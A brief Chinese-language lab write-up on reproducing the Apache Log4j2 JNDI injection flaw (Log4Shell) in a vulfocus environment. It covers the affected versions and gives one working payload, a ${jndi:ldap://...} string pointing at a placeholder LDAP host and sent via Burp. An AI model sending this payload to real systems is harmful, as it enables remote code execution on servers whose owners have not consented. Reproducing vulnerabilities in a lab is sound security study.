声明
本篇文章仅用于技术研究与漏洞复现学习,切勿将文章攻击方法用于未经授权的实战测试中,造成任何后果与本文和作者无关!
一、产品简介
Apache Log4j2是一个·基于Java的日志记录工具,该工具重写了Log4j框架,并且引入大量丰富的特性,该日志框架被大量用于业务系统开发,用来记录日志信息。
二、漏洞概述
由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
三、影响范围
Apache Log4j2 2.0-beta9 到 2.15.0
四、漏洞复现
以vulfocus靶场环境测试
打开靶场界面
Burp抓包,直接使用payload进行测试,看dnslog是否有回显 payload: ${jndi:ldap://X.X.X.X/TomcatBypass/TomcatEcho}